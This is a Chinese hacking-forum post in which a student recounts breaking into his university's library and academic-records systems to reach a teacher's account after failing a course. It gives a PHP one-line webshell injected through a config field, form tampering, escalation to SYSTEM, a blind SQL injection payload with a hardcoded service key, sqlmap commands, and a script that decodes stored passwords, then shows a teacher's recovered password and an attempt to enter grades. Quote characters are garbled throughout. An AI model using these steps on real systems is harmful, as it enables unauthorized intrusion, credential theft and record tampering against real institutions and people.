论坛好久没看到实战文章,我来写一篇。
那真是一个悲哀的故事。
我始终不明白我一个计网专业的学生为什么要学电路。有一个逃课特殊多的孩子,老师给了60分,竟然过了。我这边53分挂科。

这我就不愉快了。呵呵。只做测试,不改成绩。
学校主站给教务查询系统加了一个链接,但通过此处打开教务处,页面全是静态,不能很好的进行测试。猜想在内网内可以,通过教务地址访问。
于是转移目标,先来从图书馆下手,等拿下图书馆,从图书馆代理过去搞。
图书馆乃开源的汇文图书管理系统,敏感信息透露,呵呵哒:
文件包含漏洞:
登入之后这边可以看到当前连接的数据库的一些信息:
至此我们可以随意修正图书管理系统的配置。
根据开源代码剖析,创造更新配置时期码未做过滤,
unction write_para( $strFileName, $strPara )
{
$fhandle = fopen( $strFileName, \公众wb\公众 );
if ( $fhandle )
{
$strPara = \公众<?php\n\"大众.$strPara.\"大众\n?>\"大众;
if ( fwrite( $fhandle, $strPara ) )
{
fclose( $fhandle );
$strMsg = \公众数据修正成功。\"大众;
}
else
{
$strMsg = \"大众数据修正失落败。\"大众;
}
}
else
{
$strMsg = \"大众数据修正失落败。\"大众;
}
return $strMsg;
}
这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话;
在配置全文索引文件夹路径时,修正
c:/hwopac/index/
为
c:/hwopac/index/\公众;@eval($_POST['123']);//
更新过配置后,内容保存在的配置文件为:
/include/hwopacpwd.php
于是连接`URL+/include/hwopacpwd.php`即可得到一句话webshell。
下面两个图片是在乌云看到的案例:
然而,我们学校图书馆的更新页面却是这样:
握草,怎么会这样。那还真是个悲哀的故事。。。
猜想是运维职员在乌云看到干系案例,删除了该表单。表单被删,貌似无解。
后来抽根烟想了想,能不能去网上找一个一样的系统,然后抓取修正那个修正的POST表单,google了一番,没找到可以利用的。
于是想到自己在页面布局添加表单,如下图的文本输入框:
审查元素插入如下标签:
<dd><input size=\"大众20\"大众 name=\公众fulltextPath\"大众 value=\"大众c:/hwopac/index/\"大众;@eval($_POST['123']);//\"大众 type=\"大众text\"大众></dd
此处的表单name值是通过源码审计看到的,案例中也有提现。
我们提交表单抓POST包,创造`fulltextPath`的值已经被提交:
测试连接`/include/hwopacpwd.php`,没有连接上:
我们再来看下这个图,仔细看,
你会创造实在不但是`fulltextPath`的值没有被加密,`user`的值也没有加密,同样可以被更换,于是淫荡的思路来了:
`POST`表单`user`值填写为:
libsys\"大众;@eval($_POST['123']);//
提交之后,即可菜刀连接`/include/hwopacpwd.php`,GOOD JOB!
恶意代码确实如此写入:
提机谋过,直接`SYSTEM`:
教务系统支配在内网的某台机器,为了防止外部攻击,他们做了一个外部的接口,所有页面静态化,很是蛋疼,我利用上述图书馆的机器对内网的教务机器进行了一通扫描,终于找到了他的实际地址:
正方教务系统同样供应了各种查询接口,我此处利用`service.asmx`的`BMCheckPassword`接口的注入:
官方给出了如下规范的POST数据包:
POST /service.asmx HTTP/1.1
Host: [url]www.baidu.com[/url]
Content-Type: text/xml; charset=utf-8
Content-Length: 784
SOAPAction: \"大众http://www.zf_webservice.com/BMCheckPassword\"大众
<?xml version=\"大众1.0\"大众 encoding=\公众utf-8\公众?>
<soap:Envelope xmlns:xsi=\公众http://www.w3.org/2001/XMLSchema-instance\"大众 xmlns:xsd=\公众http://www.w3.org/2001/XMLSchema\"大众 xmlns:soapenc=\公众http://schemas.xmlsoap.org/soap/encoding/\"大众 xmlns:tns=\公众http://tempuri.org/\"大众 xmlns:types=\公众http://tempuri.org/encodedTypes\公众 xmlns:soap=\"大众http://schemas.xmlsoap.org/soap/envelope/\公众>
<soap:Body soap:encodingStyle=\"大众http://schemas.xmlsoap.org/soap/encoding/\公众>
<q1:BMCheckPassword xmlns:q1=\"大众http://www.zf_webservice.com/BMCheckPassword\公众>
<strYHM xsi:type=\"大众xsd:string\公众>string</strYHM>
<strPassword xsi:type=\"大众xsd:string\公众>string</strPassword>
<xh xsi:type=\"大众xsd:string\"大众>string</xh>
<strKey xsi:type=\"大众xsd:string\"大众>KKKGZ2312</strKey>
</q1:BMCheckPassword>
</soap:Body>
</soap:Envelope>
上述`sKey = \"大众KKKGZ2312\"大众`为常量,有了`sKey`就可以去查询一些接口了。
`strYHM`表示用户名,我已经吓哭,彷佛都是用拼音:
此处没做过滤,直接布局语句利用Intruder模块:
jwc01' and (SELECT SUBSTR(TO_CHAR(KL),1,1) from yhb where yhm='jwc01')='a
`payoad`为:`a-z`、`A-Z`、`0-9`、`~!@#$%^&()_+[]{}\|<>:\"大众';`
不知为何用BurpSuite跑起来很慢。。
我把POST数据包复制出来交给SQLMAP:
python sqlmap.py -r post.txt
GOOD JOB!
[14:31:40] [INFO] fetching tables for databases: 'CTXSYS, DBSNMP, DMSYS, EXFSYS, MDSYS, OLAPSYS, ORDSYS, OUTLN, SCOTT, SYS, SYSMAN, SYSTEM, TSMSYS, WMSYS, XDB, ZFXFZB'
[14:31:40] [INFO] the SQL query used returns 3389 entries
那么问题来了,几千个表,怎么找西席用户密码的表?幸亏我拼音好:
我挂科的是电子电工,老师叫张X,姓名对应的字段为XM,这拼音拼的啊。。。
这就好办了,用`--sql-shell`查询:
select from \"大众YHB\"大众 where XM = '张X';
恩~,得到密文为`U_rBKJ`,这是经由正方的分外加密的,我们用python脚本解开:
# python
# coding=utf-8
import sys
def crack_zhengfang( pwdhash, key=\"大众Encrypt01\"大众 ):
len_passwd = len( pwdhash )
len_key = len( key )
pwdhash = pwdhash[: len_passwd/2][::-1] + pwdhash[len_passwd/2 :][::-1]
passwd = ''
Pos = 0
for i in xrange( len_passwd ):
Pos %= len_key
Pos += 1
strChar = pwdhash
KeyChar = key[Pos-1]
ord_strChar = ord( strChar )
ord_KeyChar = ord( KeyChar )
if not 32 <= ( ord_strChar ^ ord_KeyChar ) <= 126 or not 0 <= ord_strChar <= 255:
passwd += strChar
else:
passwd += chr( ord_strChar ^ ord_KeyChar )
return passwd
if __name__ == '__main__':
if len(sys.argv) != 2:
print \"大众Usage: crackZF.py passwdhash\公众
sys.exit(1)
else:
print \"大众Password:\"大众, crack_zhengfang( pwdhash=sys.argv[1], key=\公众Encrypt01\公众 )
promote pythonDemo v5est0r$ python zhengfang.py \"大众U_rBKJ\"大众
Password: 716822
`Password: 716822`
接着登入该老师的教务系统,录入成绩。。。
录入成绩须要密码,密码??? 我根据官方给出的录入成绩密码字段没查到密码啊。。。空的也弗成。
不急,逐步来。
太悲哀了,补考估计也会挂掉,太悲哀了。
本文作者:Binghe,转载自:https://bbs.ichunqiu.com/thread-18011-1-1.html